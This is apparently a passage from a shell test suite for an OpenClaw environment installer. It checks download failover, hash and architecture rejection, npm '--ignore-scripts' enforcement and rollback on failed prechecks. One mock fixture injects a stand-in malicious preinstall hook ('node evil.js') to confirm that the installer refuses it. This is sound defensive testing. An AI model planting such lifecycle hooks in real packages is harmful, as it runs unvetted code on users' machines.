awk '/^download_node\(\)/,/^install_pnpm\(\)/' "$ENV_SCRIPT" | sed '$d' >> "$HARNESS_DOWNLOADER"
cat >> "$HARNESS_DOWNLOADER" <<EOF
download_node "22.23.2"
EOF
sh "$HARNESS_DOWNLOADER" >/dev/null 2>&1 || fail "downloader should failover to backup mirror and succeed"
[ -x "$MOCK_ENV_DIR/node/bin/node" ] || fail "failover download should install node successfully"
# (10.2) 最终缺失测试: 所有源均 404 / 失败,必须 fail-closed 退出码非零
rm -rf "$MOCK_ENV_DIR/node"
cat > "$MOCK_CURL_FAILOVER" <<'EOF'
#!/bin/sh
exit 22
EOF
set +e
sh "$HARNESS_DOWNLOADER" >/dev/null 2>&1
RC_EXHAUSTED=$?
set -e
[ "$RC_EXHAUSTED" -ne 0 ] || fail "downloader must fail when all candidate mirrors fail"
# (10.3) 错误哈希测试: 下载文件哈希不匹配时淘汰并最终失败
rm -rf "$MOCK_ENV_DIR/node"
cat > "$MOCK_CURL_FAILOVER" <<EOF
#!/bin/sh
outfile=""
url=""
while [ \$# -gt 0 ]; do
case "\$1" in
-o|-O) outfile="\$2"; shift 2 ;;
http://*|https://*) url="\$1"; shift 1 ;;
*) shift 1 ;;
esac
done
case "\$url" in
*SHASUMS256.txt*)
echo "badhash00000000000000000000000000000000000000000000000000000000 ${MOCK_PKG_NAME}.tar.xz" > "\$outfile"
exit 0
;;
*)
cp "$MOCK_TEST_ROOT/valid-node.tar.xz" "\$outfile"
exit 0
;;
esac
EOF
set +e
sh "$HARNESS_DOWNLOADER" >/dev/null 2>&1
RC_BAD_HASH=$?
set -e
[ "$RC_BAD_HASH" -ne 0 ] || fail "downloader must reject tarball on sha256 mismatch"
# (10.4) 错误架构测试: 解压出的 node process.arch 不符时必须失败
MOCK_WRONG_ARCH_DIR="$MOCK_TEST_ROOT/build/wrong-arch/${MOCK_PKG_NAME}"
mkdir -p "${MOCK_WRONG_ARCH_DIR}/bin" "${MOCK_WRONG_ARCH_DIR}/share/icu"
cat > "${MOCK_WRONG_ARCH_DIR}/bin/node" <<'EOF'
#!/bin/sh
case "$1" in
--version) echo "v22.23.2" ;;
-p)
if [ "$2" = "process.arch" ]; then echo "arm64"; else echo ""; fi
;;
*) exit 0 ;;
esac
EOF
chmod +x "${MOCK_WRONG_ARCH_DIR}/bin/node"
dd if=/dev/urandom of="${MOCK_WRONG_ARCH_DIR}/share/icu/dummy.dat" bs=1024 count=5100 2>/dev/null
(cd "$MOCK_TEST_ROOT/build/wrong-arch" && tar -cf - "${MOCK_PKG_NAME}" | xz > "$MOCK_TEST_ROOT/wrong-arch-node.tar.xz")
WRONG_ARCH_HASH=$("$NODE_BIN" -e 'console.log(require("crypto").createHash("sha256").update(require("fs").readFileSync(process.argv[1])).digest("hex"))' "$MOCK_TEST_ROOT/wrong-arch-node.tar.xz")
rm -rf "$MOCK_ENV_DIR/node"
cat > "$MOCK_CURL_FAILOVER" <<EOF
#!/bin/sh
outfile=""
url=""
while [ \$# -gt 0 ]; do
case "\$1" in
-o|-O) outfile="\$2"; shift 2 ;;
http://*|https://*) url="\$1"; shift 1 ;;
*) shift 1 ;;
esac
done
case "\$url" in
*SHASUMS256.txt*)
echo "${WRONG_ARCH_HASH} ${MOCK_PKG_NAME}.tar.xz" > "\$outfile"
exit 0
;;
*)
cp "$MOCK_TEST_ROOT/wrong-arch-node.tar.xz" "\$outfile"
exit 0
;;
esac
EOF
set +e
sh "$HARNESS_DOWNLOADER" >/dev/null 2>&1
RC_WRONG_ARCH=$?
set -e
[ "$RC_WRONG_ARCH" -ne 0 ] || fail "downloader must reject node binary with mismatched process.arch"
# ── 11. 安装/升级 npm 参数契约、预检回滚与状态保持行为测试 ──
grep -q -- "--ignore-scripts --omit=optional" "$ENV_SCRIPT" || fail "openclaw-env must enforce both --ignore-scripts and --omit=optional"
MOCK_NPM_DIR="$TMP_DIR/mock-npm-test"
mkdir -p "$MOCK_NPM_DIR/bin"
MOCK_NPM_ARGS="$MOCK_NPM_DIR/npm-args.txt"
MOCK_NPM_EXIT_CODE="$MOCK_NPM_DIR/npm-rc"
echo "0" > "$MOCK_NPM_EXIT_CODE"
cat > "$MOCK_NPM_DIR/bin/npm" <<EOF
#!/bin/sh
echo "\$@" >> "$MOCK_NPM_ARGS"
rc=\$(cat "$MOCK_NPM_EXIT_CODE" 2>/dev/null || echo 0)
if [ "\$rc" -ne 0 ]; then
exit "\$rc"
fi
case "\$1" in
pack)
mkdir -p package/scripts
cp "$FIXTURE_PKG" package/package.json
touch package/scripts/preinstall-package-manager-warning.mjs
touch package/scripts/postinstall-bundled-plugins.mjs
tar -czf openclaw-2026.9.1.tgz package
rm -rf package
echo "openclaw-2026.9.1.tgz"
exit 0
;;
*)
exit 0
;;
esac
EOF
chmod +x "$MOCK_NPM_DIR/bin/npm"
HARNESS_INSTALL="$MOCK_NPM_DIR/test-install.sh"
cat > "$HARNESS_INSTALL" <<EOF
#!/bin/sh
set -e
export PATH="$MOCK_NPM_DIR/bin:\$PATH"
NPM_BIN="$MOCK_NPM_DIR/bin/npm"
NODE_BIN="$NODE_BIN"
OC_PACKAGE_CONTRACT="$CONTRACT_JS"
OC_TESTED_VERSION="2026.9.1"
# v2.3 起 install/upgrade 先经通道/锁定版本解析与矩阵 integrity 校验;这两步另有专项测试
# (第 8.1 节),此处直接给出目标版本,专注验证事务、回滚与状态保持。
# OC_ALLOW_UNVERIFIED=1 模拟用户勾选「允许安装未验证版本」,使 2026.9.9 等自定义版本可进入预检。
OC_ALLOW_UNVERIFIED=1
export OC_ALLOW_UNVERIFIED
resolve_target_version() { OC_TARGET_VER="\${OC_VERSION:-\$OC_TESTED_VERSION}"; OC_TARGET_CHANNEL="test"; OC_TARGET_VERIFIED=1; OC_TARGET_NEWER=0; OC_TARGET_UPSTREAM=""; return 0; }
print_target_summary() { :; }
validate_openclaw_tarball() { return 0; }
download_node() { return \${MOCK_NODE_RC:-0}; }
OC_GLOBAL="$MOCK_NPM_DIR/global"
OC_VERSION=""
log_info() { :; }
log_warn() { :; }
log_error() { :; }
ensure_mkdir() { mkdir -p "\$1"; }
find_oc_entry() { echo "$MOCK_INSTALL_PKG_DIR/openclaw.mjs"; }
execute_openclaw_lifecycle() { return 0; }
install_openclaw_cli_wrapper() { return 0; }
assert_node_runtime() { return 0; }
npm_selfcheck() { return 0; }
npm_runtime_broken_hint() { :; }
EOF
echo "console.log('2026.9.1');" > "$MOCK_INSTALL_PKG_DIR/openclaw.mjs"
chmod +x "$MOCK_INSTALL_PKG_DIR/openclaw.mjs"
awk '/^validate_openclaw_manifest\(\)/,/^\}$/' "$ENV_SCRIPT" >> "$HARNESS_INSTALL"
awk '/^install_openclaw\(\)/,/^init_openclaw\(\)/' "$ENV_SCRIPT" | sed '$d' >> "$HARNESS_INSTALL"
cat >> "$HARNESS_INSTALL" <<EOF
install_openclaw
EOF
sh "$HARNESS_INSTALL" >/dev/null 2>&1 || fail "install_openclaw should succeed when mock npm succeeds"
grep -q -- "pack.*openclaw@2026\.9\.1" "$MOCK_NPM_ARGS" || fail "install_openclaw must call npm pack for staging"
grep -q -- "--ignore-scripts" "$MOCK_NPM_ARGS" || fail "install_openclaw must pass --ignore-scripts to npm"
grep -q -- "--omit=optional" "$MOCK_NPM_ARGS" || fail "install_openclaw must pass --omit=optional to npm"
grep -E "install -g .*openclaw-2026\.9\.1\.tgz --prefix=" "$MOCK_NPM_ARGS" || fail "install_openclaw must install from the local staged tarball"
# 验证 npm 失败传播
echo "17" > "$MOCK_NPM_EXIT_CODE"
set +e
sh "$HARNESS_INSTALL" >/dev/null 2>&1
RC_NPM_FAIL=$?
set -e
[ "$RC_NPM_FAIL" -eq 17 ] || fail "install_openclaw must propagate npm failure exit code (17)"
# ── 11.2 预检失败时全局安装未执行且已有入口/版本标记未变化 (回滚与状态保持) ──
MOCK_PRESERVE_DIR="$TMP_DIR/mock-preserve-test"
mkdir -p "$MOCK_PRESERVE_DIR/bin"
MOCK_PRESERVE_ARGS="$MOCK_PRESERVE_DIR/npm-args.txt"
MOCK_PACK_TYPE="$MOCK_PRESERVE_DIR/pack-type"
echo "valid" > "$MOCK_PACK_TYPE"
# 建立已存在且可运行的 OpenClaw 安装环境
EXISTING_GLOBAL="$MOCK_PRESERVE_DIR/global"
EXISTING_PKG_DIR="$EXISTING_GLOBAL/lib/node_modules/openclaw"
reset_existing_openclaw() {
rm -rf "$EXISTING_GLOBAL"
mkdir -p "$EXISTING_PKG_DIR" "$EXISTING_GLOBAL/bin"
echo "console.log('2026.9.1-ORIGINAL-ENTRY');" > "$EXISTING_PKG_DIR/openclaw.mjs"
chmod +x "$EXISTING_PKG_DIR/openclaw.mjs"
cp "$FIXTURE_PKG" "$EXISTING_PKG_DIR/package.json"
echo "2026.9.1-ORIGINAL-WRAPPER" > "$EXISTING_GLOBAL/bin/openclaw"
chmod +x "$EXISTING_GLOBAL/bin/openclaw"
}
reset_existing_openclaw
cat > "$MOCK_PRESERVE_DIR/bin/npm" <<EOF
#!/bin/sh
echo "\$@" >> "$MOCK_PRESERVE_ARGS"
case "\$1" in
pack)
pack_mode=\$(cat "$MOCK_PACK_TYPE" 2>/dev/null || echo "valid")
mkdir -p package/scripts
cp "$FIXTURE_PKG" package/package.json
echo "console.log('2026.9.1');" > package/openclaw.mjs
case "\$pack_mode" in
"custom-lifecycle")
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync("package/package.json"));
p.version = "2026.9.9";
p.scripts.preinstall = "node evil.js";
require("fs").writeFileSync("package/package.json", JSON.stringify(p));
'
;;
"custom-empty-lifecycle")
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync("package/package.json"));
p.version = "2026.9.9";
p.scripts = { preinstall: "" };
p.engines = { node: ">=" + process.versions.node };
require("fs").writeFileSync("package/package.json", JSON.stringify(p));
'
;;
"incompat-engines")
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync("package/package.json"));
p.version = "2026.9.9";
p.scripts = {};
p.engines = { node: ">=99.0.0" };
require("fs").writeFileSync("package/package.json", JSON.stringify(p));
'
;;
"bad-engines")
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync("package/package.json"));
p.version = "2026.9.9";
p.scripts = {};
p.engines = { node: "^^22.0.0" };
require("fs").writeFileSync("package/package.json", JSON.stringify(p));
'
;;
"ver-mismatch")
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync("package/package.json"));
p.version = "2026.9.8";
p.scripts = {};
p.engines = { node: ">=" + process.versions.node };
require("fs").writeFileSync("package/package.json", JSON.stringify(p));
'
;;
"missing-field")
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync("package/package.json"));
delete p.name;
require("fs").writeFileSync("package/package.json", JSON.stringify(p));
'
;;
"type-error")
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync("package/package.json"));
p.bin = "openclaw.mjs";
require("fs").writeFileSync("package/package.json", JSON.stringify(p));
'
;;
"val-drift")
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync("package/package.json"));
p.name = "openclaw-drift";
require("fs").writeFileSync("package/package.json", JSON.stringify(p));
'
;;
"struct-drift")
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync("package/package.json"));
p.bin.extra = "extra.mjs";
require("fs").writeFileSync("package/package.json", JSON.stringify(p));
'
;;
"empty-lifecycle")
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync("package/package.json"));
p.scripts.install = "";
require("fs").writeFileSync("package/package.json", JSON.stringify(p));
'
;;
"valid-custom")
echo "console.log('2026.9.9');" > package/openclaw.mjs
"$NODE_BIN" -e '
const p = JSON.parse(require("fs").readFileSync("package/package.json"));
p.version = "2026.9.9";
p.scripts = {};
p.engines = { node: ">=" + process.versions.node };
require("fs").writeFileSync("package/package.json", JSON.stringify(p));
'
;;
*)
touch package/scripts/preinstall-package-manager-warning.mjs
touch package/scripts/postinstall-bundled-plugins.mjs
;;
esac
tar -czf openclaw-staged.tgz package
rm -rf package
echo "openclaw-staged.tgz"
exit 0
;;
install)
tarball_arg=""
dest_prefix="$EXISTING_GLOBAL"
for arg in "\$@"; do
case "\$arg" in
*.tgz) tarball_arg="\$arg" ;;
--prefix=*) dest_prefix="\${arg#--prefix=}" ;;
esac
done
if [ -n "\$tarball_arg" ] && [ -f "\$tarball_arg" ]; then
target_mod_dir="\$dest_prefix/lib/node_modules/openclaw"
mkdir -p "\$target_mod_dir"
tar -xzf "\$tarball_arg" -C "\$target_mod_dir" --strip-components=1 2>/dev/null || true
fi
exit 0
;;
*)
exit 0
;;
esac
EOF
chmod +x "$MOCK_PRESERVE_DIR/bin/npm"
assert_state_preserved() {
local label="$1" rc="$2"
[ "$rc" -ne 0 ] || fail "${label}: command must exit non-zero on precheck failure"
grep -q -- "install -g" "$MOCK_PRESERVE_ARGS" && fail "${label}: npm install -g must NOT be called when precheck fails"
grep -q "2026.9.1-ORIGINAL-ENTRY" "$EXISTING_PKG_DIR/openclaw.mjs" || fail "${label}: existing openclaw.mjs was modified after failed precheck"
grep -q '"version": "2026.9.1"' "$EXISTING_PKG_DIR/package.json" || fail "${label}: existing package.json was modified after failed precheck"
grep -q "2026.9.1-ORIGINAL-WRAPPER" "$EXISTING_GLOBAL/bin/openclaw" || fail "${label}: existing wrapper was modified after failed precheck"
}
HARNESS_PRESERVE="$MOCK_PRESERVE_DIR/test-preserve.sh"
cat > "$HARNESS_PRESERVE" <<EOF
#!/bin/sh
set -e
export PATH="$MOCK_PRESERVE_DIR/bin:\$PATH"
NPM_BIN="$MOCK_PRESERVE_DIR/bin/npm"
NODE_BIN="$NODE_BIN"
OC_PACKAGE_CONTRACT="$CONTRACT_JS"
OC_TESTED_VERSION="2026.9.1"
# v2.3 起 install/upgrade 先经通道/锁定版本解析与矩阵 integrity 校验;这两步另有专项测试
# (第 8.1 节),此处直接给出目标版本,专注验证事务、回滚与状态保持。
# OC_ALLOW_UNVERIFIED=1 模拟用户勾选「允许安装未验证版本」,使 2026.9.9 等自定义版本可进入预检。
OC_ALLOW_UNVERIFIED=1
export OC_ALLOW_UNVERIFIED
resolve_target_version() { OC_TARGET_VER="\${OC_VERSION:-\$OC_TESTED_VERSION}"; OC_TARGET_CHANNEL="test"; OC_TARGET_VERIFIED=1; OC_TARGET_NEWER=0; OC_TARGET_UPSTREAM=""; return 0; }
print_target_summary() { :; }
validate_openclaw_tarball() { return 0; }
download_node() { return \${MOCK_NODE_RC:-0}; }
OC_GLOBAL="$EXISTING_GLOBAL"
OC_VERSION="\${OC_VERSION:-}"
log_info() { :; }
log_warn() { :; }
log_error() { :; }
ensure_mkdir() { mkdir -p "\$1"; }
find_oc_entry() {
local base="\${1:-$EXISTING_GLOBAL}"
if [ -f "\$base/lib/node_modules/openclaw/openclaw.mjs" ]; then
echo "\$base/lib/node_modules/openclaw/openclaw.mjs"
elif [ -f "$EXISTING_PKG_DIR/openclaw.mjs" ]; then
echo "$EXISTING_PKG_DIR/openclaw.mjs"
fi
}
install_openclaw_cli_wrapper() { return 0; }
assert_node_runtime() { return 0; }
cleanup_partial_install() { :; }
npm_selfcheck() { return 0; }
npm_runtime_broken_hint() { :; }
EOF
awk '/^validate_openclaw_manifest\(\)/,/^\}$/' "$ENV_SCRIPT" >> "$HARNESS_PRESERVE"
awk '/^execute_openclaw_lifecycle\(\)/,/^\}$/' "$ENV_SCRIPT" >> "$HARNESS_PRESERVE"
awk '/^install_openclaw\(\)/,/^init_openclaw\(\)/' "$ENV_SCRIPT" | sed '$d' >> "$HARNESS_PRESERVE"
cat >> "$HARNESS_PRESERVE" <<EOF
install_openclaw
EOF
# ── 11.2 install_openclaw 预检拦截与状态保持测试 ──
# (11.2a) 关键字段缺失拒绝: 全局安装未执行,已有入口及版本不变
echo "missing-field" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
sh "$HARNESS_PRESERVE" >/dev/null 2>&1
RC_REJECT_MISSING=$?
set -e
assert_state_preserved "install_openclaw missing-field" "$RC_REJECT_MISSING"
# (11.2b) 字段类型错误拒绝: 全局安装未执行,已有入口及版本不变
echo "type-error" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
sh "$HARNESS_PRESERVE" >/dev/null 2>&1
RC_REJECT_TYPE=$?
set -e
assert_state_preserved "install_openclaw type-error" "$RC_REJECT_TYPE"
# (11.2c) 字段值漂移拒绝: 全局安装未执行,已有入口及版本不变
echo "val-drift" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
sh "$HARNESS_PRESERVE" >/dev/null 2>&1
RC_REJECT_VAL=$?
set -e
assert_state_preserved "install_openclaw val-drift" "$RC_REJECT_VAL"
# (11.2d) 结构漂移 / 额外或空值 lifecycle 拒绝: 全局安装未执行,已有安装不变
echo "struct-drift" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
sh "$HARNESS_PRESERVE" >/dev/null 2>&1
RC_REJECT_STRUCT=$?
set -e
assert_state_preserved "install_openclaw struct-drift" "$RC_REJECT_STRUCT"
echo "empty-lifecycle" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
sh "$HARNESS_PRESERVE" >/dev/null 2>&1
RC_REJECT_EMPTY_LC=$?
set -e
assert_state_preserved "install_openclaw empty-lifecycle" "$RC_REJECT_EMPTY_LC"
# (11.2e) latest/自定义版本含未知 lifecycle 拒绝: 全局安装未执行,已有安装不变
echo "custom-lifecycle" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
OC_VERSION="2026.9.9" sh "$HARNESS_PRESERVE" >/dev/null 2>&1
RC_REJECT_LIFECYCLE=$?
set -e
assert_state_preserved "install_openclaw custom-lifecycle" "$RC_REJECT_LIFECYCLE"
echo "custom-empty-lifecycle" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
OC_VERSION="2026.9.9" sh "$HARNESS_PRESERVE" >/dev/null 2>&1
RC_REJECT_CUSTOM_EMPTY_LC=$?
set -e
assert_state_preserved "install_openclaw custom-empty-lifecycle" "$RC_REJECT_CUSTOM_EMPTY_LC"
# (11.2f) latest/自定义版本版本不一致拒绝: 全局安装未执行,已有安装不变
echo "ver-mismatch" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
OC_VERSION="2026.9.9" sh "$HARNESS_PRESERVE" >/dev/null 2>&1
RC_REJECT_VER_MISMATCH=$?
set -e
assert_state_preserved "install_openclaw ver-mismatch" "$RC_REJECT_VER_MISMATCH"
# (11.2g) latest/自定义版本非法 engines.node 拒绝: 全局安装未执行,已有安装不变
echo "bad-engines" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
OC_VERSION="2026.9.9" sh "$HARNESS_PRESERVE" >/dev/null 2>&1
RC_REJECT_BAD_ENGINES=$?
set -e
assert_state_preserved "install_openclaw bad-engines" "$RC_REJECT_BAD_ENGINES"
# (11.2h) latest/自定义版本 engines.node 不兼容拒绝: 全局安装未执行,已有安装不变
echo "incompat-engines" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
OC_VERSION="2026.9.9" sh "$HARNESS_PRESERVE" >/dev/null 2>&1
RC_REJECT_ENGINES=$?
set -e
assert_state_preserved "install_openclaw incompat-engines" "$RC_REJECT_ENGINES"
# (11.2i) 通过预检后安装使用同一个本地 tarball 产物
echo "valid-custom" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
OC_VERSION="2026.9.9" sh "$HARNESS_PRESERVE" || fail "valid custom version should pass precheck and install"
grep -q -- "pack openclaw@2026.9.9" "$MOCK_PRESERVE_ARGS" || fail "npm pack was not called with target package"
grep -E "install -g .*openclaw-staged\.tgz --prefix=" "$MOCK_PRESERVE_ARGS" || fail "install_openclaw must install from the local staged tarball"
grep -q -- "--ignore-scripts" "$MOCK_PRESERVE_ARGS" || fail "install_openclaw must enforce --ignore-scripts"
grep -q -- "--omit=optional" "$MOCK_PRESERVE_ARGS" || fail "install_openclaw must enforce --omit=optional"
# ── 11.3 upgrade_openclaw 预检拦截与状态保持测试 ──
reset_existing_openclaw
HARNESS_UPGRADE_PRESERVE="$MOCK_PRESERVE_DIR/test-upgrade-preserve.sh"
cat > "$HARNESS_UPGRADE_PRESERVE" <<EOF
#!/bin/sh
set -e
export PATH="$MOCK_PRESERVE_DIR/bin:\$PATH"
NPM_BIN="$MOCK_PRESERVE_DIR/bin/npm"
NODE_BIN="$NODE_BIN"
OC_PACKAGE_CONTRACT="$CONTRACT_JS"
OC_TESTED_VERSION="2026.9.1"
# v2.3 起 install/upgrade 先经通道/锁定版本解析与矩阵 integrity 校验;这两步另有专项测试
# (第 8.1 节),此处直接给出目标版本,专注验证事务、回滚与状态保持。
# OC_ALLOW_UNVERIFIED=1 模拟用户勾选「允许安装未验证版本」,使 2026.9.9 等自定义版本可进入预检。
OC_ALLOW_UNVERIFIED=1
export OC_ALLOW_UNVERIFIED
resolve_target_version() { OC_TARGET_VER="\${OC_VERSION:-\$OC_TESTED_VERSION}"; OC_TARGET_CHANNEL="test"; OC_TARGET_VERIFIED=1; OC_TARGET_NEWER=0; OC_TARGET_UPSTREAM=""; return 0; }
print_target_summary() { :; }
validate_openclaw_tarball() { return 0; }
download_node() { return \${MOCK_NODE_RC:-0}; }
OC_GLOBAL="$EXISTING_GLOBAL"
OC_VERSION="\${OC_VERSION:-}"
log_info() { :; }
log_warn() { :; }
log_error() { :; }
ensure_mkdir() { mkdir -p "\$1"; }
find_oc_entry() {
local base="\${1:-$EXISTING_GLOBAL}"
if [ -f "\$base/lib/node_modules/openclaw/openclaw.mjs" ]; then
echo "\$base/lib/node_modules/openclaw/openclaw.mjs"
elif [ -f "$EXISTING_PKG_DIR/openclaw.mjs" ]; then
echo "$EXISTING_PKG_DIR/openclaw.mjs"
fi
}
install_openclaw_cli_wrapper() { return 0; }
assert_node_runtime() { return 0; }
cleanup_partial_install() { :; }
npm_selfcheck() { return 0; }
npm_runtime_broken_hint() { :; }
EOF
awk '/^validate_openclaw_manifest\(\)/,/^\}$/' "$ENV_SCRIPT" >> "$HARNESS_UPGRADE_PRESERVE"
awk '/^execute_openclaw_lifecycle\(\)/,/^\}$/' "$ENV_SCRIPT" >> "$HARNESS_UPGRADE_PRESERVE"
awk '/^upgrade_openclaw\(\)/,/^do_upgrade\(\)/' "$ENV_SCRIPT" | sed '$d' >> "$HARNESS_UPGRADE_PRESERVE"
cat >> "$HARNESS_UPGRADE_PRESERVE" <<EOF
upgrade_openclaw
EOF
# (11.3a) 关键字段缺失拒绝: 全局安装未执行,已有入口及版本不变
echo "missing-field" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
sh "$HARNESS_UPGRADE_PRESERVE" >/dev/null 2>&1
RC_UP_MISSING=$?
set -e
assert_state_preserved "upgrade_openclaw missing-field" "$RC_UP_MISSING"
# (11.3b) 字段类型错误拒绝: 全局安装未执行,已有入口及版本不变
echo "type-error" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
sh "$HARNESS_UPGRADE_PRESERVE" >/dev/null 2>&1
RC_UP_TYPE=$?
set -e
assert_state_preserved "upgrade_openclaw type-error" "$RC_UP_TYPE"
# (11.3c) 字段值漂移拒绝: 全局安装未执行,已有入口及版本不变
echo "val-drift" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
sh "$HARNESS_UPGRADE_PRESERVE" >/dev/null 2>&1
RC_UP_VAL=$?
set -e
assert_state_preserved "upgrade_openclaw val-drift" "$RC_UP_VAL"
# (11.3d) 结构漂移 / 额外或空值 lifecycle 拒绝: 全局安装未执行,已有安装不变
echo "struct-drift" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
sh "$HARNESS_UPGRADE_PRESERVE" >/dev/null 2>&1
RC_UP_STRUCT=$?
set -e
assert_state_preserved "upgrade_openclaw struct-drift" "$RC_UP_STRUCT"
echo "empty-lifecycle" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
sh "$HARNESS_UPGRADE_PRESERVE" >/dev/null 2>&1
RC_UP_EMPTY_LC=$?
set -e
assert_state_preserved "upgrade_openclaw empty-lifecycle" "$RC_UP_EMPTY_LC"
# (11.3e) latest/自定义版本含未知 lifecycle 拒绝: 全局安装未执行,已有安装不变
echo "custom-lifecycle" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
OC_VERSION="2026.9.9" sh "$HARNESS_UPGRADE_PRESERVE" >/dev/null 2>&1
RC_UP_LIFECYCLE=$?
set -e
assert_state_preserved "upgrade_openclaw custom-lifecycle" "$RC_UP_LIFECYCLE"
echo "custom-empty-lifecycle" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
OC_VERSION="2026.9.9" sh "$HARNESS_UPGRADE_PRESERVE" >/dev/null 2>&1
RC_UP_CUSTOM_EMPTY_LC=$?
set -e
assert_state_preserved "upgrade_openclaw custom-empty-lifecycle" "$RC_UP_CUSTOM_EMPTY_LC"
# (11.3f) latest/自定义版本版本不一致拒绝: 全局安装未执行,已有安装不变
echo "ver-mismatch" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
OC_VERSION="2026.9.9" sh "$HARNESS_UPGRADE_PRESERVE" >/dev/null 2>&1
RC_UP_VER_MISMATCH=$?
set -e
assert_state_preserved "upgrade_openclaw ver-mismatch" "$RC_UP_VER_MISMATCH"
# (11.3g) latest/自定义版本非法 engines.node 拒绝: 全局安装未执行,已有安装不变
echo "bad-engines" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
OC_VERSION="2026.9.9" sh "$HARNESS_UPGRADE_PRESERVE" >/dev/null 2>&1
RC_UP_BAD_ENGINES=$?
set -e
assert_state_preserved "upgrade_openclaw bad-engines" "$RC_UP_BAD_ENGINES"
# (11.3h) latest/自定义版本 engines.node 不兼容拒绝: 全局安装未执行,已有安装不变
echo "incompat-engines" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
set +e
OC_VERSION="2026.9.9" sh "$HARNESS_UPGRADE_PRESERVE" >/dev/null 2>&1
RC_UP_ENGINES=$?
set -e
assert_state_preserved "upgrade_openclaw incompat-engines" "$RC_UP_ENGINES"
# (11.3h2) Node 运行时升级失败: 必须在 npm pack 之前终止,已有安装与版本标记保持不变
echo "valid-custom" > "$MOCK_PACK_TYPE"
: > "$MOCK_PRESERVE_ARGS"
set +e
MOCK_NODE_RC=1 OC_VERSION="2026.9.9" sh "$HARNESS_UPGRADE_PRESERVE" >/dev/null 2>&1
RC_UP_NODE=$?
set -e
[ "$RC_UP_NODE" -ne 0 ] || fail "upgrade_openclaw must fail when the Node.js runtime upgrade fails"
if [ -f "$MOCK_PRESERVE_ARGS" ] && grep -q -- "pack openclaw@" "$MOCK_PRESERVE_ARGS"; then
fail "upgrade_openclaw must not download OpenClaw after a failed Node.js upgrade"
fi
assert_state_preserved "upgrade_openclaw node-runtime-failure" "$RC_UP_NODE"
# (11.3i) 通过预检后升级使用同一个本地 tarball 产物
echo "valid-custom" > "$MOCK_PACK_TYPE"
rm -f "$MOCK_PRESERVE_ARGS"
OC_VERSION="2026.9.9" sh "$HARNESS_UPGRADE_PRESERVE" || fail "valid custom version should pass precheck and upgrade"
grep -q -- "pack openclaw@2026.9.9" "$MOCK_PRESERVE_ARGS" || fail "npm pack was not called with target package"
grep -E "install -g .*openclaw-staged\.tgz --prefix=" "$MOCK_PRESERVE_ARGS" || fail "upgrade_openclaw must install from the local staged tarball"
grep -q -- "--ignore-scripts" "$MOCK_PRESERVE_ARGS" || fail "upgrade_openclaw must enforce --ignore-scripts"
grep -q -- "--omit=optional" "$MOCK_PRESERVE_ARGS" || fail "upgrade_openclaw must enforce --omit=optional"
# ── 12. 构建脚本与发布工作流版本与架构一致性 ──
grep -q 'NODE_VERSION_V2="24.22.2"' "$ENV_SCRIPT" || fail "NODE_VERSION_V2 must be pinned to 24.22.2"
grep -q 'OC_TESTED_VERSION="2026.9.36"' "$ENV_SCRIPT" || fail "OC_TESTED_VERSION must be pinned to 2026.9.36"
grep -q 'node-v24.22.2-linux-arm64-musl.tar.xz' "$WORKFLOW" || fail "workflow must produce node-v24.22.2-linux-arm64-musl.tar.xz"
grep -Fq 'Actual Alpine Node.js version (${ACTUAL_VER}) does not match requested version (${NODE_VER})' "$BUILD_SCRIPT" || fail "build script must reject Alpine apk version mismatch"
grep -Fq 'cross mode (glibc binary with patched ELF interpreter) is forbidden' "$BUILD_SCRIPT" || fail "build script must forbid fake glibc cross mode"
# ── 12.1 assert_node_runtime: 以已安装包的 engines 为准,但不低于支持底线 ──
# 存量 / 预放置的 Node 22 + 2026.9.1 不能被新版默认下限误拒 (#113);新版包在 Node 22 上必须被拒;
# engines 异常宽松的包不能绕过底线。
NR_DIR="$TMP_DIR/node-runtime"
mkdir -p "$NR_DIR/pkg"
cat > "$NR_DIR/mock-node" <<EOF
#!/bin/sh
if [ "\$1" = "--version" ]; then echo "v\${MOCK_NODE_VER}"; exit 0; fi
exec "$NODE_BIN" "\$@"
EOF
chmod +x "$NR_DIR/mock-node"
echo "console.log('x');" > "$NR_DIR/pkg/openclaw.mjs"
NR_HARNESS="$NR_DIR/harness.sh"
{
